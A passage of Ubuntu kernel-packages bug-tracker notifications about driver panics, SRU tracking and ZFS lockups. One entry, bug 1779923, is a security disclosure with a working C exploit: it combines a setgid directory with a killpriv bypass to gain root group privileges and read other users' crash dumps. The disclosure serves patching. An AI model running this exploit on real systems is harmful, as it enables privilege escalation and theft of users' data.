150.944180] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready When using Xenial (from a different install), this problem is not happening. This is happening on Bionic. There are only two ways to restore connectivity: 1) Reboot the system; 2) Remove the r8169 module and reinsert it with modprobe. The motherboard is a AsRock H55M-LE and the Ethernet controller is: 01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 03) ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-firmware 1.172 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: LXDE Date: Fri Mar 2 00:21:57 2018 Dependencies: InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) PackageArchitecture: all SourcePackage: linux-firmware UpgradeStatus: No upgrade log present (probably fresh install) --- AlsaVersion: Advanced Linux Sound Architecture Driver Version k4.15.0-10-generic. ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 ArecordDevices: List of CAPTURE Hardware Devices card 0: MID [HDA Intel MID], device 0: VT1818S Analog [VT1818S Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: usuario1153 F pulseaudio /dev/snd/controlC1: usuario1153 F pulseaudio Card0.Amixer.info: Card hw:0 'MID'/'HDA Intel MID at 0xfbdf8000 irq 26' Mixer name : 'VIA VT1818S' Components : 'HDA:11060440,18492818,0010' Controls : 40 Simple ctrls : 17 Card1.Amixer.info: Card hw:1 'HDMI'/'HDA ATI HDMI at 0xfbffc000 irq 27' Mixer name : 'ATI R6xx HDMI' Components : 'HDA:1002aa01,00aa0100,00100200' Controls : 7 Simple ctrls : 1 Card1.Amixer.values: Simple mixer control 'IEC958',0 Capabilities: pswitch pswitch-joined Playback channels: Mono Mono: Playback [on] CurrentDesktop: LXDE Dependencies: DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=edd83175-c707-4b31-90d2-ce2f5cebc73f InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. Package: linux-firmware 1.172 PackageArchitecture: all ProcFB: 0 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz root=UUID=0c4fc517-b7a0-49b0-bfcb-0485dfe6413b ro quiet ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 RelatedPackageVersions: linux-restricted-modules-4.15.0-10-generic N/A linux-backports-modules-4.15.0-10-generic N/A linux-firmware 1.172 RfKill: Tags: bionic Uname: Linux 4.15.0-10-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) User
[Kernel-packages] [Bug 1784306] Re: linux-aws: 4.4.0-1064.74 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: Fix Committed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/security-signoff Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-beta Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-edge Status: New => Confirmed ** Changed in: kernel-sru-workflow/verification-testing Status: New => Confirmed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true + kernel-stable-phase:Promoted to proposed + kernel-stable-phase-changed:Friday, 03. August 2018 18:05 UTC ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true - kernel-stable-phase:Promoted to proposed - kernel-stable-phase-changed:Friday, 03. August 2018 18:05 UTC + bugs-spammed: true + phase: Promoted to proposed + proposed-announcement-sent: true + proposed-testing-requested: true -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1784306 Title: linux-aws: 4.4.0-1064.74 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784306/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1620762] Re: Support AverMedia DVD EZMaker 7 USB video capture dongle
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1620762 Title: Support AverMedia DVD EZMaker 7 USB video capture dongle Status in linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Committed Bug description: Linux doesn't support this capture. Link to patch https://www.linuxtv.org/wiki/index.php/AVerMedia_DVD_EZMaker_7_(C039). I tested it on Ubuntu 16.04 - OK. It will be great if this patch is built-in to kernel. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1620762/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1773410] Re: Redpine: Observed kernel panic while running wireless tests in regression mode
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1773410 Title: Redpine: Observed kernel panic while running wireless tests in regression mode Status in linux package in Ubuntu: Confirmed Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification - Impact: Kernel freezes/panic when running wireless tests in regression Test case: 1. Keep a wrong access-point name in sta.conf file and run the nmcli. 2. There will be continuous scan will be happen and do remove the module using rmmod.sh script. 3. When soft scan is happening in redpine driver, before connection. Some times, we have observed a kernel panic. like below [ 1171.913244] BUG: unable to handle page request at 001067e38 [ 1171.913248] IP: cfg80211_scan_done+0xb0/0xc0 [cfg80211] [ 1171.913971] __ieee80211_scan_completed+0xb1/0x390 [mac80211] [ 1171.914078] ieee80211_scan_work+0x7e/0x480 [mac80211] [ 1171.914098] process_one_work+0x142/0x3d0 [ 1171.914111] worker_thread+0x229/0x440 [ 1171.914122] kthread+0xf5/0x130 [ 1171.914132] ? process_one_work+0x3d0/0x3d0 [ 1171.914140] ? kthread_associate_blkcg+0x90/0x90 [ 1171.914152] ret_from_fork+0x35/0x40 Fix: scan work function keeps running even after cancel_hw_scan() call. Issue is resolved by calling cancel_work_sync(). Regression potential: Ran driver_crash.sh for 100 times and didn't see the issue. This bug is for tracking purposes only, please don't triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773410/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1773400] Re: Redpine: wifi-ap stopped working after restart
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1773400 Title: Redpine: wifi-ap stopped working after restart Status in linux package in Ubuntu: Invalid Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification: -- Impact: Wi-Fi access point isn’t visible to outside devices after reboot Test Case: Configure Wi-Fi AP using setup wizard: $ sudo wifi-ap.setup-wizard Check configured AP settings: $ sudo wifi-ap.config get debug: false dhcp.lease-time: 12h dhcp.range-start: 10.0.60.2 dhcp.range-stop: 10.0.60.200 disabled: false share.disabled: false share.network-interface: wlan0 wifi.address: 10.0.60.1 wifi.channel: 6 wifi.country-code: wifi.hostapd-driver: nl80211 wifi.interface: wlan0 wifi.interface-mode: direct wifi.netmask: ff00 wifi.operation-mode: g wifi.security: wpa2 wifi.security-passphrase: some-password wifi.ssid: dell-gateway Check in third-party stations. SSID is invisible. Restart AP and check its status: $ sudo wifi-ap.status restart-ap Check status of AP. It is showing true. $ sudo wifi-ap.status ap.active: true At this point also, Wi-Fi access point is not visible. Fix: Power save is enabled in AP mode. it must be disabled. Regression potential: Ran "wifi-ap.status restart-ap" command in every 1 minute and observed whether it is visible to third party devices are not. And it is behaving as expected. This patch is for tracking only, please don't triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773400/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1777850] Re: Redpine: Observed kernel panic while running soft-ap tests
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1777850 Title: Redpine: Observed kernel panic while running soft-ap tests Status in linux package in Ubuntu: Fix Committed Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification: -- Impact: Kernel freezes/panic when running wireless tests for soft-ap Test case: 1. Create a soft-ap upon reboot. 2. Install Checkbox plano and : $ sudo snap install --devmode checkbox-plano 3. Run below wifi-ap test case $ checkbox-plano.checkbox-cli run .*device .*wireless/caracalla-wifi_ap_.*wlan0_auto 4. Upon 3-4 iteraions, observed kernel crash as below, [ 718.83244] BUG: unable to handle page request at 001067e38 [ 718.83248] IP: cfg80211_scan_done+0xb0/0xc0 [cfg80211] [ 718.83971] __ieee80211_scan_completed+0xb1/0x390 [mac80211] [ 718.84078] ieee80211_scan_work+0x7e/0x480 [mac80211] [ 718.84098] process_one_work+0x142/0x3d0 [ 718.84111] worker_thread+0x229/0x440 [ 718.84122] kthread+0xf5/0x130 [ 718.84132] ? process_one_work+0x3d0/0x3d0 [ 718.84140] ? kthread_associate_blkcg+0x90/0x90 [ 718.84152] ret_from_fork+0x35/0x40 Fix: scan work function keeps running even after cancel_hw_scan() call. Issue is resolved by calling cancel_work_sync() in rsi_mac80211_stop(). Regression Petential: Ran Step 3 in 30-times. Didn't see any kernel panic. This bug is for tracking purposes only, please don't triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1777850/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1777858] Re: Redpine: Observed kernel panic while running wireless regressions tests
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1777858 Title: Redpine: Observed kernel panic while running wireless regressions tests Status in linux package in Ubuntu: Confirmed Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification: -- Impact: Kernel freezes/panic when running wireless tests Test case: 1. Create a wireless soft-ap/station upon reboot. 2. Install Checkbox plano and : $ sudo snap install --devmode checkbox-plano 3. Run below wifi-ap test case $ checkbox-plano.checkbox-cli run .*device .*wireless/caracalla-wifi_ap_.*wlan0_auto 4. Upon 3-4 iteraions, observed kernel crash as below, BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] exit_creds+0x1f/0x50 PGD 0 Oops: 0002 [#1] SMP CPU: 0 PID: 6502 Comm: rmmod Tainted: G OE 4.4.0-128-generic #154-Ubuntu Hardware name: Dell Inc. Edge Gateway 3003/ , BIOS 01.00.00 04/17/2017 Stack: 88007392e600 880075847dc0 8108160a 88007392e600 880075847de8 810a484b 880076127000 88003cd3a800 880074f12a00 880075847e28 c09bed15 Call Trace: [] __put_task_struct+0x5a/0x140 [] kthread_stop+0x10b/0x110 [] rsi_disconnect+0x2f5/0x300 [ven_rsi_sdio] [] ? __pm_runtime_resume+0x5b/0x80 [] sdio_bus_remove+0x38/0x100 [] __device_release_driver+0xa4/0x150 [] driver_detach+0xb5/0xc0 [] bus_remove_driver+0x55/0xd0 [] driver_unregister+0x2c/0x50 [] sdio_unregister_driver+0x1a/0x20 [] rsi_module_exit+0x15/0x30 [ven_rsi_sdio] [] SyS_delete_module+0x1b8/0x210 [] entry_SYSCALL_64_fastpath+0x1c/0xbb Fix: kthread_stop() is taking care of wait_for_completion() by default. No need of taking care separately. Issue is resolved by removing wait_for_completion() from rsi_disconnect(). Regression Petential: Ran Step 3 in 30-times. Didn't see any kernel panic. This bug is for tracking purposes only, please don't triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1777858/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778286] Re: Backport namespaced fscaps to xenial 4.4
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778286 Title: Backport namespaced fscaps to xenial 4.4 Status in linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification Impact: Support for using filesystem capabilities in unprivileged user namespaces was added upstream in Linux 4.14. This is a useful feature that allows unprivileged containers to set fscaps that are valid only in user namespaces where a specific kuid is mapped to root. This allows for e.g. support for Linux distros within lxd which make use of filesystem capabilities. Fix: Backport upstream commit 8db6c34f1dbc "Introduce v3 namespaced file capabilities" and any subsequent fixes to xenial 4.4. Test Case: Test use of fscaps within a lxd container. Regression Potential: This has been upstream since 4.14 (and thus is present in bionic), and the backport to xenial 4.4 was straightforward, so regression potential is low. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778286/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782116] Re: snapcraft.yaml: missing ubuntu-retpoline-extract-one script breaks the build
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782116 Title: snapcraft.yaml: missing ubuntu-retpoline-extract-one script breaks the build Status in linux package in Ubuntu: Fix Committed Status in linux source package in Xenial: Fix Committed Status in linux source package in Bionic: Fix Committed Bug description: Impact: The Ubuntu kernel source code depends on the presence of the retpoline-extract-one file in the script directory during build (see scripts/Makefile.build::cmd_ubuntu_retpoline) - such a file lives in the debian directory and is copied to scripts during the 'debian/rules clean' phase. Snapcraft is oblivious to the debian details, and the clean target is never invoked, breaking the normal kernel build (make defconfig; make ...). Check out the Xenia/generic or Bionic/generic tree, cd into it and execute: make defconfig && make or snapcraft. ... HOSTCC scripts/mod/mk_elfconfig /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory scripts/Makefile.build:332: recipe for target 'scripts/mod/empty.o' failed make[2]: *** [scripts/mod/empty.o] Error 127 make[2]: *** Waiting for unfinished jobs HOSTLD arch/x86/tools/relocs HOSTCC scripts/selinux/genheaders/genheaders HOSTCC scripts/selinux/mdp/mdp scripts/Makefile.build:606: recipe for target 'scripts/mod' failed make[1]: *** [scripts/mod] Error 2 make[1]: *** Waiting for unfinished jobs CC arch/x86/purgatory/purgatory.o Makefile:589: recipe for target 'scripts' failed make: *** [scripts] Error 2 make: *** Waiting for unfinished jobs AS arch/x86/purgatory/stack.o /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory scripts/Makefile.build:332: recipe for target 'arch/x86/purgatory/purgatory.o' failed make[1]: *** [arch/x86/purgatory/purgatory.o] Error 127 make[1]: *** Waiting for unfinished jobs AS arch/x86/purgatory/setup-x86_64.o /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory scripts/Makefile.build:435: recipe for target 'arch/x86/purgatory/stack.o' failed make[1]: *** [arch/x86/purgatory/stack.o] Error 127 /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory scripts/Makefile.build:435: recipe for target 'arch/x86/purgatory/setup-x86_64.o' failed make[1]: *** [arch/x86/purgatory/setup-x86_64.o] Error 127 arch/x86/Makefile:260: recipe for target 'archprepare' failed make: *** [archprepare] Error 2 Failed to run 'make -j4 bzImage modules' for 'kernel': Exited with code 2. Verify that the part is using the correct parameters and try again. Fix: To workaround that, before starting the build, make snapcraft do the copy and fix the build. Regression risk: The patch only modifies snapcraft.yaml, so none. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782116/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779923 Title: other users' coredumps can be read via setgid directory and killpriv bypass Status in linux package in Ubuntu: In Progress Status in linux source package in Trusty: Fix Committed Status in linux source package in Xenial: Fix Committed Status in linux source package in Bionic: Fix Committed Status in linux source package in Cosmic: In Progress Bug description: Note: I am both sending this bug report to secur...@kernel.org and filing it in the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug or as a Ubuntu bug. You may wish to talk to each other to determine the best place to fix this. I noticed halfdog's old writeup at https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ , describing essentially the following behavior in combination with a trick for then writing to the resulting file without triggering the killpriv logic: = user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat > demo.c #include int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); } user@debian:~/sgid_demo$ gcc -o demo demo.c user@debian:~/sgid_demo$ ./demo user@debian:~/sgid_demo$ ls -l dir/file -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file = Two patches for this were proposed on LKML back then: "[PATCH 1/2] fs: Check f_cred instead of current's creds in should_remove_suid()" https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/ "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory" https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/ However, as far as I can tell, neither of them actually landed. You can also bypass the killpriv logic with fallocate() and mmap() - fallocate() permits resizing the file without triggering killpriv, mmap() permits writing without triggering killpriv (the mmap part is mentioned at https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/ ): = user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat fallocate.c #define _GNU_SOURCE #include #include #include #include #include #include #include int main(void) { int src_fd = open("/usr/bin/id", O_RDONLY); if (src_fd == -1) err(1, "open 2"); struct stat src_stat; if (fstat(src_fd, &src_stat)) err(1, "fstat"); int src_len = src_stat.st_size; char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0); if (src_mapping == MAP_FAILED) err(1, "mmap 2"); int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755); if (fd == -1) err(1, "open"); if (fallocate(fd, 0, 0, src_len)) err(1, "fallocate"); char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); memcpy(mapping, src_mapping, src_len); munmap(mapping, src_len); close(fd); close(src_fd); execl("./dir/file", "id", NULL); err(1, "execl"); } user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c user@debian:~/sgid_demo$ ./fallocate uid=1000(user) gid=1000(user) egid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user) = sys_copy_file_range() also looks as if it bypasses killpriv on supported filesystems, but I haven't tested that one so far. On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and contains group-readable crashdumps in some custom format, so you can use this issue to steal other users' crashdumps: = user@ubuntu-18-04-vm:~$ ls -l /var/crash total 296 -rw-r- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash -rw-r- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash -rw-r- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash -rw-r- 1 user whoopsie 152095 Jun
[Kernel-packages] [Bug 1781364] Re: Kernel error "task zfs:pid blocked for more than 120 seconds"
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to zfs-linux in Ubuntu. https://bugs.launchpad.net/bugs/1781364 Title: Kernel error "task zfs:pid blocked for more than 120 seconds" Status in Linux: Fix Released Status in linux package in Ubuntu: Fix Released Status in zfs-linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Committed Status in zfs-linux source package in Xenial: Confirmed Status in linux source package in Bionic: Fix Committed Status in zfs-linux source package in Bionic: Fix Committed Status in linux source package in Cosmic: Fix Released Status in zfs-linux source package in Cosmic: Fix Released Bug description: == SRU Justification, XENIAL, BIONIC == Exercising ZFS with lxd with many mount/umounts can cause lockups and 120 second timeout messages. == How to reproduce bug == In a VM, 2 CPUs, 16GB of memory running Bionic: sudo apt update sudo apt install lxd lxd-client lxd-tools zfsutils-linux sudo lxd init (and with the default init options) then run: lxd-benchmark launch --count 96 --parallel 96 This will reliably show the lockup every time without the fix. With the fix (detailed below) one cannot reproduce the lockup. == Fix == Upstream ZFS commit commit ac09630d8b0bf6c92084a30fdaefd03fd0adbdc1 Author: Brian Behlendorf Date: Wed Jul 11 15:49:10 2018 -0700 Fix zpl_mount() deadlock == Regression Potential == This just changes the locking in the mount path of ZFS and will only affect ZFS mount/unmounts. The regression potential is small as this touches a very small code path that has been exhaustively exercises this code under multiple thread/CPU contention and shown not to break. -- ZFS bug report: https://github.com/zfsonlinux/zfs/issues/7691 "I am using LXD containers that are configured to use a ZFS storage backend. I create many containers using a benchmark tool, which probably stresses the use of ZFS. In two out of four attempts, I got [ 725.970508] INFO: task lxd:4455 blocked for more than 120 seconds. [ 725.976730] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 725.983551] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 725.991624] INFO: task txg_sync:4202 blocked for more than 120 seconds. [ 725.998264] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 726.005071] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 726.013313] INFO: task lxd:99919 blocked for more than 120 seconds. [ 726.019609] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 726.026418] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 726.034560] INFO: task zfs:100513 blocked for more than 120 seconds. [ 726.040936] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 726.047746] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 726.055791] INFO: task zfs:100584 blocked for more than 120 seconds. [ 726.062170] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 726.068979] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Describe how to reproduce the problem Start an Ubuntu 18.04 LTS server. Install LXD if not already installed. sudo apt update sudo apt install lxd lxd-client lxd-tools zfsutils-linux Configure LXD with sudo lxd init. When prompted for the storage backend, select ZFS and specify an empty disk. $ sudo lxd init Would you like to use LXD clustering? (yes/no) [default=no]: Do you want to configure a new storage pool? (yes/no) [default=yes]: Name of the new storage pool [default=default]: Name of the storage backend to use (dir, zfs) [default=zfs]: Create a new ZFS pool? (yes/no) [default=yes]: Would you like to use an existing block device? (yes/no) [default=no]: yes Path to the existing block device: /dev/sdb Would you like to connect to a MAAS server? (yes/no) [default=no]: Would you like to create a new local network bridge? (yes/no) [default=yes]: no Would you like to configure LXD to use an existing bridge or host interface? (yes/no) [default=no]
[Kernel-packages] [Bug 1779830] Re: vfio/pci: cannot assign a i40e pf device to a vm using vfio-pci
